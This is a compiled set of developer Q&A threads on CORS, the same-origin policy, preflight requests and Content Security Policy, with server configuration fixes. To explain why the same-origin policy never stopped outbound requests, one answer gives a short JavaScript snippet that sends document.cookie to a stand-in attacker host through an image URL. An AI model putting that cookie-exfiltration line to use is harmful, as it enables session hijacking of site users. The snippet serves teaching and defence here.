I spend some time to understand how Cross-Origin-Resource-Sharing works, and I cannot believe how this could be designed so insecure.
When a website hosted on foo.com wants to request a resource which is stored at bar.com via ajax, the browser asks bar.com if the request is allowed.
Only if bar.com explicitly allows asynchronous requests from foo.com (via the Access-Control-Allow-Origin response header), the resource is delivered to the client.
It´s not a security problem if data should be read. But if data is sent to the requested server, it is.
In the past, if a hacker successfully inserted JavaScript code in a website to steal cookie data or other informations, the Same-Origin-Policy
prevented that he could send the informations to his own server directly.
But thanks to CORS, a hacker can directly send the stolen information to his own server just by enabling any origin.
I know, CORS is still under development, but already supported by almost all major browsers. So, why is CORS designed like this? Wouldn´t it be much more secure, if the originating server is asked for permission to send ajax requests?
In my oppinion, this is a degradation of security. Or is it not?
All "known issues" I found related to CORS are about weak configuration on the requested server.
The same-origin policy is designed purely to prevent one origin from reading resources from another origin. The side effect you describe -- preventing one origin from sending data to another origin -- has never been part of the same-origin policy's purpose.
In fact, sending data to another origin has never been prohibited, ever, from the very beginnings of the Web. Your browser sends cross-origin requests all the time: any time it encounters a cross-origin <img>, <script>, <iframe>, etc. The same-origin policy simply restricts scripts' ability to read these resources; it has never restricted the browser's ability to fetch them and show them to the user.
Consider the following code:
var img = document.createElement("img");
img.src = "http://evil.example.com/steal?cookie=" + document.cookie;
This creates:
<img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">
which will send cookie data to evil.example.com when it is added to the page's DOM. The same-origin policy has never, ever prevented this kind of behavior.
If you are interested in whitelisting origins that your page is allowed to send data to, you want a content security policy, which was designed explicitly as an XSS mitigation mechanism.
CORS wasn't designed for this security problem.
For this problem you mention, you need to prevent the site from executing arbitrary javascript. You want, more specifically, to prevent :
scripts loaded from a non white-listed origin
scripts directly in the page (as attribute or in a <script> element)
For that, we use the Content-Security-Policy header which can for example be set to "script-src 'self'" (meaning that only scripts loaded from an external file in the same origin can be executed).
Any website with not trivial generated content should have this header set but unfortunately this might be hard to handle in old frameworks as this adds very strong restrictions.
See http://en.wikipedia.org/wiki/Content_Security_Policy
Related
I've been reading up on CORS and how it works, but I'm finding a lot of things confusing. For example, there are lots of details about things like
User Joe is using browser BrowserX to get data from site.com,
which in turn sends a request to spot.com. To allow this, spot has
special headers... yada yada yada
Without much background, I don't understand why websites wouldn't let requests from some places. I mean, they exist to serve responses to requests, don't they? Why would certain people's of requests not be allowed?
It would really appreciate a nice explanation (or a link to one) of the problem that CORS is made to solve.
So the question is,
What is the problem CORS is solving?
The default behavior of web browsers that initiate requests from a page via JavaScript (AKA AJAX) is that they follow the same-origin policy. This means that requests can only be made via AJAX to the same domain (or sub domain). Requests to an entirely different domain will fail.
This restriction exists because requests made at other domains by your browser would carry along your cookies which often means you'd be logged in to the other site. So, without same-origin, any site could host JavaScript that called logout on stackoverflow.com for example, and it would log you out. Now imagine the complications when we talk about social networks, banking sites, etc.
So, all browsers simply restrict script-based network calls to their own domain to make it simple and safe.
Site X at www.x.com cannot make AJAX requests to site Y at www.y.com, only to *.x.com
There are some known work-arounds in place (such as JSONP which doesn't include cookies in the request), but these are not a permanent solution.
CORS allows these cross-domain requests to happen, but only when each side opts into CORS support.
First, let's talk about the same origin policy. I'll quote from a previous answer of mine:
The same-origin policy was invented because it prevents code from one website from accessing credential-restricted content on another site. Ajax requests are by default sent with any auth cookies granted by the target site.
For example, suppose I accidentally load http://evil.com/, which sends a request for http://mail.google.com/. If the SOP were not in place, and I was signed into Gmail, the script at evil.com could see my inbox. If the site at evil.com wants to load mail.google.com without my cookies, it can just use a proxy server; the public contents of mail.google.com are not a secret (but the contents of mail.google.com when accessed with my cookies are a secret).
(Note that I've said "credential-restricted content", but it can also be topology-restricted content when a website is only visible to certain IP addresses.)
Sometimes, however, it's not evil.com trying to peek into your inbox. Sometimes, it's just a helpful website (say, http://goodsite.foo) trying to use a public API from another origin (say, http://api.example.com). The programmers who worked hard on api.example.com want all origins to access their site's contents freely. In that case, the API server at api.example.com can use CORS headers to allow goodsite.foo (or any other requesting origin) to access its API responses.
So, in sum, we assume by default that cross-origin access is a bad thing (think of someone trying to read your inbox), but there are cases where it's a good thing (think of a website trying to access a public API). CORS allows the good case to happen when the requested site wants it to happen.
There are security and privacy reasons for not allowing requests from anywhere. If you visited my website, you wouldn't want my code to make requests to Facebook, reddit, your bank, eBay, etc. from your browser using your cookies, right? My site would then be able to make posts, read information, place orders, etc. on your behalf. Or on my behalf with your accounts.
tl;dr; About the Same Origin Policy
I have a Grunt process which initiates an instance of express.js server. This was working absolutely fine up until just now when it started serving a blank page with the following appearing in the error log in the developer's console in Chrome (latest version):
XMLHttpRequest cannot load https://www.example.com/
No 'Access-Control-Allow-Origin' header is present on the requested
resource. Origin 'http://localhost:4300' is therefore not allowed access.
What is stopping me from accessing the page?
tl;dr — When you want to read data, (mostly) using client-side JS, from a different server you need the server with the data to grant explicit permission to the code that wants the data.
There's a summary at the end and headings in the answer to make it easier to find the relevant parts. Reading everything is recommended though as it provides useful background for understanding the why that makes seeing how the how applies in different circumstances easier.
About the Same Origin Policy
This is the Same Origin Policy. It is a security feature implemented by browsers.
Your particular case is showing how it is implemented for XMLHttpRequest (and you'll get identical results if you were to use fetch), but it also applies to other things (such as images loaded onto a <canvas> or documents loaded into an <iframe>), just with slightly different implementations.
The standard scenario that demonstrates the need for the SOP can be demonstrated with three characters:
Alice is a person with a web browser
Bob runs a website (https://www.example.com/ in your example)
Mallory runs a website (http://localhost:4300 in your example)
Alice is logged into Bob's site and has some confidential data there. Perhaps it is a company intranet (accessible only to browsers on the LAN), or her online banking (accessible only with a cookie you get after entering a username and password).
Alice visits Mallory's website which has some JavaScript that causes Alice's browser to make an HTTP request to Bob's website (from her IP address with her cookies, etc). This could be as simple as using XMLHttpRequest and reading the responseText.
The browser's Same Origin Policy prevents that JavaScript from reading the data returned by Bob's website (which Bob and Alice don't want Mallory to access). (Note that you can, for example, display an image using an <img> element across origins because the content of the image is not exposed to JavaScript (or Mallory) … unless you throw canvas into the mix in which case you will generate a same-origin violation error).
Why the Same Origin Policy applies when you don't think it should
For any given URL it is possible that the SOP is not needed. A couple of common scenarios where this is the case are:
Alice, Bob, and Mallory are the same person.
Bob is providing entirely public information
… but the browser has no way of knowing if either of the above is true, so trust is not automatic and the SOP is applied. Permission has to be granted explicitly before the browser will give the data it has received from Bob to some other website.
Why the Same Origin Policy applies to JavaScript in a web page but little else
Outside the web page
Browser extensions*, the Network tab in browser developer tools, and applications like Postman are installed software. They aren't passing data from one website to the JavaScript belonging to a different website just because you visited that different website. Installing software usually takes a more conscious choice.
There isn't a third party (Mallory) who is considered a risk.
* Browser extensions do need to be written carefully to avoid cross-origin issues. See the Chrome documentation for example.
Inside the webpage
Most of the time, there isn't a great deal of information leakage when just showing something on a webpage.
If you use an <img> element to load an image, then it gets shown on the page, but very little information is exposed to Mallory. JavaScript can't read the image (unless you use a crossOrigin attribute to explicitly enable request permission with CORS) and then copy it to her server.
That said, some information does leak so, to quote Domenic Denicola (of Google):
The web's fundamental security model is the same origin policy. We
have several legacy exceptions to that rule from before that security
model was in place, with script tags being one of the most egregious
and most dangerous. (See the various "JSONP" attacks.)
Many years ago, perhaps with the introduction of XHR or web fonts (I
can't recall precisely), we drew a line in the sand, and said no new
web platform features would break the same origin policy. The existing
features need to be grandfathered in and subject to carefully-honed
and oft-exploited exceptions, for the sake of not breaking the web,
but we certainly can't add any more holes to our security policy.
This is why you need CORS permission to load fonts across origins.
Why you can display data on the page without reading it with JS
There are a number of circumstances where Mallory's site can cause a browser to fetch data from a third party and display it (e.g. by adding an <img> element to display an image). It isn't possible for Mallory's JavaScript to read the data in that resource though, only Alice's browser and Bob's server can do that, so it is still secure.
CORS
The Access-Control-Allow-Origin HTTP response header referred to in the error message is part of the CORS standard which allows Bob to explicitly grant permission to Mallory's site to access the data via Alice's browser.
A basic implementation would just include:
Access-Control-Allow-Origin: *
… in the response headers to permit any website to read the data.
Access-Control-Allow-Origin: http://example.com
… would allow only a specific site to access it, and Bob can dynamically generate that based on the Origin request header to permit multiple, but not all, sites to access it.
The specifics of how Bob sets that response header depend on Bob's HTTP server and/or server-side programming language. Users of Node.js/Express.js should use the well-documented CORS middleware. Users of other platforms should take a look at this collection of guides for various common configurations that might help.
NB: Some requests are complex and send a preflight OPTIONS request that the server will have to respond to before the browser will send the GET/POST/PUT/Whatever request that the JS wants to make. Implementations of CORS that only add Access-Control-Allow-Origin to specific URLs often get tripped up by this.
Obviously granting permission via CORS is something Bob would only do only if either:
The data was not private or
Mallory was trusted
How do I add these headers?
It depends on your server-side environment.
If you can, use a library designed to handle CORS as they will present you with simple options instead of having to deal with everything manually.
Enable-Cors.org has a list of documentation for specific platforms and frameworks that you might find useful.
But I'm not Bob!
There is no standard mechanism for Mallory to add this header because it has to come from Bob's website, which she does not control.
If Bob is running a public API then there might be a mechanism to turn on CORS (perhaps by formatting the request in a certain way, or a config option after logging into a Developer Portal site for Bob's site). This will have to be a mechanism implemented by Bob though. Mallory could read the documentation on Bob's site to see if something is available, or she could talk to Bob and ask him to implement CORS.
Error messages which mention "Response for preflight"
Some cross-origin requests are preflighted.
This happens when (roughly speaking) you try to make a cross-origin request that:
Includes credentials like cookies
Couldn't be generated with a regular HTML form (e.g. has custom headers or a Content-Type that you couldn't use in a form's enctype).
If you are correctly doing something that needs a preflight
In these cases then the rest of this answer still applies but you also need to make sure that the server can listen for the preflight request (which will be OPTIONS (and not GET, POST, or whatever you were trying to send) and respond to it with the right Access-Control-Allow-Origin header but also Access-Control-Allow-Methods and Access-Control-Allow-Headers to allow your specific HTTP methods or headers.
If you are triggering a preflight by mistake
Sometimes people make mistakes when trying to construct Ajax requests, and sometimes these trigger the need for a preflight. If the API is designed to allow cross-origin requests but doesn't require anything that would need a preflight, then this can break access.
Common mistakes that trigger this include:
trying to put Access-Control-Allow-Origin and other CORS response headers on the request. These don't belong on the request, don't do anything helpful (what would be the point of a permissions system where you could grant yourself permission?), and must appear only on the response.
trying to put a Content-Type: application/json header on a GET request that has no request body the content of which to describe (typically when the author confuses Content-Type and Accept).
In either of these cases, removing the extra request header will often be enough to avoid the need for a preflight (which will solve the problem when communicating with APIs that support simple requests but not preflighted requests).
Opaque responses (no-cors mode)
Sometimes you need to make an HTTP request, but you don't need to read the response. e.g. if you are posting a log message to the server for recording.
If you are using the fetch API (rather than XMLHttpRequest), then you can configure it to not try to use CORS.
Note that this won't let you do anything that you require CORS to do. You will not be able to read the response. You will not be able to make a request that requires a preflight.
It will let you make a simple request, not see the response, and not fill the Developer Console with error messages.
How to do it is explained by the Chrome error message given when you make a request using fetch and don't get permission to view the response with CORS:
Access to fetch at 'https://example.com/' from origin 'https://example.net' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
Thus:
fetch("http://example.com", { mode: "no-cors" });
Alternatives to CORS
JSONP
Bob could also provide the data using a hack like JSONP which is how people did cross-origin Ajax before CORS came along.
It works by presenting the data in the form of a JavaScript program that injects the data into Mallory's page.
It requires that Mallory trust Bob not to provide malicious code.
Note the common theme: The site providing the data has to tell the browser that it is OK for a third-party site to access the data it is sending to the browser.
Since JSONP works by appending a <script> element to load the data in the form of a JavaScript program that calls a function already in the page, attempting to use the JSONP technique on a URL that returns JSON will fail — typically with a CORB error — because JSON is not JavaScript.
Move the two resources to a single Origin
If the HTML document the JS runs in and the URL being requested are on the same origin (sharing the same scheme, hostname, and port) then the Same Origin Policy grants permission by default. CORS is not needed.
A Proxy
Mallory could use server-side code to fetch the data (which she could then pass from her server to Alice's browser through HTTP as usual).
It will either:
add CORS headers
convert the response to JSONP
exist on the same origin as the HTML document
That server-side code could be written & hosted by a third party (such as CORS Anywhere). Note the privacy implications of this: The third party can monitor who proxies what across their servers.
Bob wouldn't need to grant any permissions for that to happen.
There are no security implications here since that is just between Mallory and Bob. There is no way for Bob to think that Mallory is Alice and to provide Mallory with data that should be kept confidential between Alice and Bob.
Consequently, Mallory can only use this technique to read public data.
Do note, however, that taking content from someone else's website and displaying it on your own might be a violation of copyright and open you up to legal action.
Writing something other than a web app
As noted in the section "Why the Same Origin Policy only applies to JavaScript in a web page", you can avoid the SOP by not writing JavaScript in a webpage.
That doesn't mean you can't continue to use JavaScript and HTML, but you could distribute it using some other mechanism, such as Node-WebKit or PhoneGap.
Browser extensions
It is possible for a browser extension to inject the CORS headers in the response before the Same Origin Policy is applied.
These can be useful for development but are not practical for a production site (asking every user of your site to install a browser extension that disables a security feature of their browser is unreasonable).
They also tend to work only with simple requests (failing when handling preflight OPTIONS requests).
Having a proper development environment with a local development server
is usually a better approach.
Other security risks
Note that SOP / CORS do not mitigate XSS, CSRF, or SQL Injection attacks which need to be handled independently.
Summary
There is nothing you can do in your client-side code that will enable CORS access to someone else's server.
If you control the server the request is being made to: Add CORS permissions to it.
If you are friendly with the person who controls it: Get them to add CORS permissions to it.
If it is a public service:
Read their API documentation to see what they say about accessing it with client-side JavaScript:
They might tell you to use specific URLs
They might support JSONP
They might not support cross-origin access from client-side code at all (this might be a deliberate decision on security grounds, especially if you have to pass a personalized API Key in each request).
Make sure you aren't triggering a preflight request you don't need. The API might grant permission for simple requests but not preflighted requests.
If none of the above apply: Get the browser to talk to your server instead, and then have your server fetch the data from the other server and pass it on. (There are also third-party hosted services that attach CORS headers to publically accessible resources that you could use).
Target server must allowed cross-origin request. In order to allow it through express, simply handle http options request :
app.options('/url...', function(req, res, next){
res.header('Access-Control-Allow-Origin', "*");
res.header('Access-Control-Allow-Methods', 'POST');
res.header("Access-Control-Allow-Headers", "accept, content-type");
res.header("Access-Control-Max-Age", "1728000");
return res.sendStatus(200);
});
As this isn't mentioned in the accepted answer.
This is not the case for this exact question, but might help others that search for that problem
This is something you can do in your client-code to prevent CORS errors in some cases.
You can make use of Simple Requests.
In order to perform a 'Simple Requests' the request needs to meet several conditions. E.g. only allowing POST, GET and HEAD method, as well as only allowing some given Headers (you can find all conditions here).
If your client code does not explicit set affected Headers (e.g. "Accept") with a fix value in the request it might occur that some clients do set these Headers automatically with some "non-standard" values causing the server to not accept it as Simple Request - which will give you a CORS error.
This is happening because of the CORS error. CORS stands for Cross Origin Resource Sharing. In simple words, this error occurs when we try to access a domain/resource from another domain.
Read More about it here: CORS error with jquery
To fix this, if you have access to the other domain, you will have to allow Access-Control-Allow-Origin in the server. This can be added in the headers. You can enable this for all the requests/domains or a specific domain.
How to get a cross-origin resource sharing (CORS) post request working
These links may help
This CORS issue wasn't further elaborated (for other causes).
I'm having this issue currently under different reason.
My front end is returning 'Access-Control-Allow-Origin' header error as well.
Just that I've pointed the wrong URL so this header wasn't reflected properly (in which i kept presume it did). localhost (front end) -> call to non secured http (supposed to be https), make sure the API end point from front end is pointing to the correct protocol.
I got the same error in Chrome console.
My problem was, I was trying to go to the site using http:// instead of https://. So there was nothing to fix, just had to go to the same site using https.
This bug cost me 2 days. I checked my Server log, the Preflight Option request/response between browser Chrome/Edge and Server was ok. The main reason is that GET/POST/PUT/DELETE server response for XHTMLRequest must also have the following header:
access-control-allow-origin: origin
"origin" is in the request header (Browser will add it to request for you). for example:
Origin: http://localhost:4221
you can add response header like the following to accept for all:
access-control-allow-origin: *
or response header for a specific request like:
access-control-allow-origin: http://localhost:4221
The message in browsers is not clear to understand: "...The requested resource"
note that:
CORS works well for localhost. different port means different Domain.
if you get error message, check the CORS config on the server side.
In most housing services just add in the .htaccess on the target server folder this:
Header set Access-Control-Allow-Origin 'https://your.site.folder'
I had the same issue. In my case i fixed it by adding addition parameter of timestamp to my URL. Even this was not required by the server I was accessing.
Example yoururl.com/yourdocument?timestamp=1234567
Note: I used epos timestamp
"Get" request with appending headers transform to "Options" request. So Cors policy problems occur. You have to implement "Options" request to your server. Cors Policy about server side and you need to allow Cors Policy on your server side. For Nodejs server:details
app.use(cors)
For Java to integrate with Angular:details
#CrossOrigin(origins = "http://localhost:4200")
You should enable CORS to get it working.
The image refused to show it kept on showing me the same error:
net::ERR_BLOCKED_BY_RESPONSE.NotSameOriginAfterDefaultedToSameOriginByCoep 307.
I am fetching them from https://forkify-api.herokuapp.com/api/v2/recipes?search=pizza.
Any help or way around it?
The error message for all the images from the API is :
net::ERR_BLOCKED_BY_RESPONSE.NotSameOriginAfterDefaultedToSameOriginByCoep 307.
First, i want to let you know that i'm a beginner in JS.
But yeah, i will try to resolve this problem.
In programming, we should to know about CORS, COEP, and a few things about the same-origin policy.
The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin.
It helps us to isolate potentially malicious documents, and reducing possible attack vectors.
In this case, we have error
net::ERR_BLOCKED_BY_RESPONSE.NotSameOriginAfterDefaultedToSameOriginByCoep 307.
Which is still in scope of CORS, Cross-Origin Resource Sharing
Cross-Origin Resource Sharing (CORS) is an HTTP-header based mechanism that allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources. CORS also relies on a mechanism by which browsers make a "preflight" request to the server hosting the cross-origin resource, in order to check that the server will permit the actual request. In that preflight, the browser sends headers that indicate the HTTP method and headers that will be used in the actual request.
Now, give me a minute to tell about definition of CORP, Cross-Origin Resource Policy.
Cross-Origin Resource Policy is a policy set by the Cross-Origin-Resource-Policy HTTP header that lets web sites and applications opt in to protection against certain requests from other origins (such as those issued with elements like and ), to mitigate speculative side-channel attacks, like Spectre, as well as Cross-Site Script Inclusion attacks.
We need to understand about that, before we take a step to COEP, Cross-Origin-Embedder-Policy
The HTTP Cross-Origin-Embedder-Policy (COEP) response header prevents a document from loading any cross-origin resources that don't explicitly grant the document permission (using CORP or CORS).
I have to apologize to you because i'm still didn't have any solution. But hope it will help you to trace this problem.
Thank you
From what I understand about CORS, this is how it works: I have a site foo.com which serves a page X. X wants to post data to another domain bar.com. If bar.com is CORS enabled (its headers produce Access-Control-Allow-Origin foo.com) then page X can now send data to bar.com.
As I understand to get CORS to work it's all about settingit up on bar.com, and has nothing to do with foo.com. It's all about making sure bar.com doesn't accept requests from any old domain.
However this really doesn't make sense to me. I thought CORS was designed to enable foo.com to dictate who X is allowed to communicate with. If we go back to the previous example but this time X is compromised by dodgy script so that it sends data secretly to evil.com, how is CORS going to stop that? evil.com is CORS enabled, and set to *, so it will accept requests from anything. That way a user thinking they using a site foo.com, are unwittingly sending data to evil.com.
If it is really all about bar.com protecting itself, then why does it make the browser enforce the policy?. The only conceivable situation in which this makes sense if you have evil.com serving up page Y that impersonates foo.com, that tries to send data to bar.com. But CORS is enforced by the browser, all you'd have to do is make evil.com a proxy that sends faked origin requests to bar.com (data goes from Y to evil.com, evil.com sets its fake origin to foo.com then sends it to bar.com).
It only makes sense to me if it works the other way round. foo.com is CORS enabled, and its headers are set to Access-Control-Allow-Origin bar.com. That way rouge scripts would get denied access evil.com by the browser. It then makes sense for the browser to enforce the policy because its running the scripts that could go rouge. It won't stop rouge sites from trying to send rouge data to bar.com, but bar.com can protect itself with a username/password. If foo.com has endpoints that it's expecting data back from X, then you can embed tokens into X, to ensure evil.com doesn't send data to it instead.
I feel like I'm not understanding something fundamentally important here. Would really appreciate the help.
However this really doesn't make sense to me. I thought CORS was designed to enable foo.com to dictate who X is allowed to communicate with.
No, it's about bar.com controlling use of its content.
But CORS is enforced by the browser, all you'd have to do is make evil.com a proxy that sends faked origin requests to bar.com...
Yup. And if you do, and the people at bar.com notice and care, they disallow requests from your server. You move it, they disallow the new one. Whack-a-mole time. But painful as that game of whack-a-mole is, it's a lot less painful than if the requests come directly from each individual user of foo.com, from their desktop.
Having foo.com enforce what foo.com can do doesn't make any sense. foo.com already enforces what foo.com can do, because it's foo.com that serves foo.com's content and scripts.
It isn't about Foo.com, nor about Bar.com. It is about user.
There are two things that CORS protects against. The first is access to resources behind the firewall. The second are resources that are normally protected, unless a request is sent from a browsers with authentication or other sensitive data cookies.
CORS is a Browser technology, with support from servers, that allows foo limited freedom to call outside of its domain. It is a restricted hole punched in the restriction against cross domain scripting.
Anyone can fake the ORIGIN header and create a CORS preflight or simple request -- Of course, anyone can directly connect to the Bar server directly and make the requests without using CORS at all. Any browser can directly connect to bar.com and get data. But a modern browser will not run a script from foo.com that access a bar.com resource. People visiting websites are protected against visiting a site designed to exploit cookies or the fact that the browser is behind the corporate firewall.
So the accepted answer is WRONG. It isn't about bar.com protecting its resources -- it does this through authentication and authorization. You don't have to create a proxy to send CORS requests -- you create a proxy to strip out the CORS requests (automatically responding to the preflight request, and returning the proper headers to the browser, but sending a normal request to bar.com). But you will still need authentication to get bar.com's resources, and foo.com would still need to somehow get you to install a proxy to exploit the cross domain scripting hole that CORS protects against.
But the concluding sentence is correct -- foo.com isn't in control of the resources -- it is the browser, with a quick check with bar.com to ask it if this is something that was intended.
From the OP:
If it is really all about bar.com protecting itself, then why does it
make the browser enforce the policy?. The only conceivable situation
in which this makes sense if you have evil.com serving up page Y that
impersonates foo.com, that tries to send data to bar.com. But CORS is
enforced by the browser, all you'd have to do is make evil.com a proxy
that sends faked origin requests to bar.com (data goes from Y to
evil.com, evil.com sets its fake origin to foo.com then sends it to
bar.com).
evil.com can already contact bar.com -- just like any human using a browser can (or curl or wget, etc). The issue is can evil.com force your browser to connect to bar.com, which may have IP filters, cookies, firewalls, etc protecting it, but javascript can connect to using your browser. So the Browser is the thing that protects the user. By disallowing cross domain scripting. But sometimes it is useful (ex: google apis, or a bank connecting to a bill paying service, etc) to cross domain script. CORS tells the browser that it is OK in this instance.
That isn't to say that there are no holes, or the the standard is the best, or that there aren't holes in implementation in the browser, or that sites are too permissive. But those are different questions...
I just found out that in order to allow cross-domain AJAX calls, Access-Control-Allow-Origin header should be set on SERVER side. This looks frustrating to me, let me explain why:
1) Typical use case is that the client wants to make a cross-domain request. I have never heard of a server trying to restrict access from alien webpages. Oh, I remember 'prevent images hotlinking', a funny feature of my hosting, which can be easily beaten by sending fake 'Referrer` header.
2) Even if server wanted to restrict connections from other domains, it's impossible to do this using capabilities of HTTP protocol. I suggest using tokens for that.
3) What's the use of blocking XMLHttpRequests while you still can use jsonp?
Can you explain why is this done that way?
For those who are still reading, there's a bonus question:
4) Do you know a way to prevent any cross-domain request from a webpage? Imagine a junior web developer creating a login form on a page having ads or other scripts potentially sniffing passwords? Isn't this the essence of web security? Why anyone is talking about that?
I have never heard of a server trying to restrict access from alien webpages.
The Same Origin Policy is a restriction imposed by browsers, not servers.
CORS is the server telling the browser that it can relax its normal security because the data doesn't need that level of protection.
Even if server wanted to restrict connections from other domains, it's impossible to do this using capabilities of HTTP protocol.
Which is why HTTP the protocol isn't used for that.
I suggest using tokens for that.
Using a nonce to protect against CSRF solves a different problem.
It's a relatively expensive solution that you only need to get out when it is the side effects of the request that can be problematic (e.g. "Post a new comment") rather then the data being passed back to JavaScript running on another site.
You couldn't use them instead of the Same Origin Policy to protect against reading data across origins because (without the Same Origin Policy) the attacking site would be able to read the token.
What's the use of blocking XMLHttpRequests while you still can use jsonp?
You can't use JSONP unless the server provides the data in JSONP.
Providing the data in JSONP and using CORS to grant permission to access resources are two different ways that the server can allow the browser to access data that is normally protected by the Same Origin Policy.
JSONP was a hack. CORS came later and is more flexible (since it can allow access to any kind of data, respond to request methods other than GET, and allow custom HTTP headers to be added).
Can you explain why is this done that way?
The default policy is "No Access" since there is no way for the browser to know if the data being requested is public or not.
Consider this situation:
Alice has an account on Bob's website. That account is password protected and has information that should be kept secret between Alice and Bob (bank records or exam results, for example).
Mallory has another website. It uses Ajax to try to access Bob's site.
Without the Same Origin Policy, Alice might (while logged in to Bob's site) visit Mallory's website. Without Alice's knowledge or permission, Mallory's website sends JavaScript to Alice's browser that uses Ajax to fetch data from Bob's site. Since it is coming from Alice's browser, all of Alice's private information is given to the JavaScript. The JavaScript then sends it to Mallory.
This is clearly not a good thing.
The Same Origin Policy prevents that.
If Bob, as the person running the site, decides that the information is not secret and can be shared publicly, then he can use CORS or JSONP to provide access to it to JavaScript running on other sites.
Do you know a way to prevent any cross-domain request from a webpage.
No. The webpage is a single entity. Trying to police parts of it from other parts is a fool's errand.
Imagine a junior web developer creating a login form on a page having ads or other scripts potentially sniffing passwords? Isn't this the essence of web security? Why anyone is talking about that?
"Be careful about trusting third party scripts" is something that doesn't get mentioned as much as it should be. Thankfully, most ad providers and CDN hosted libraries are supplied by reasonably trustworthy people.
Do you know an easy way of overcoming the problem of missing Access-Control-Allow-Origin
Configure the server so it isn't missing.
Use JSONP instead
Use a proxy that isn't blocked by the same origin policy to fetch the data instead (you won't get any credentials the browser might send because Alice has an account with Bob though).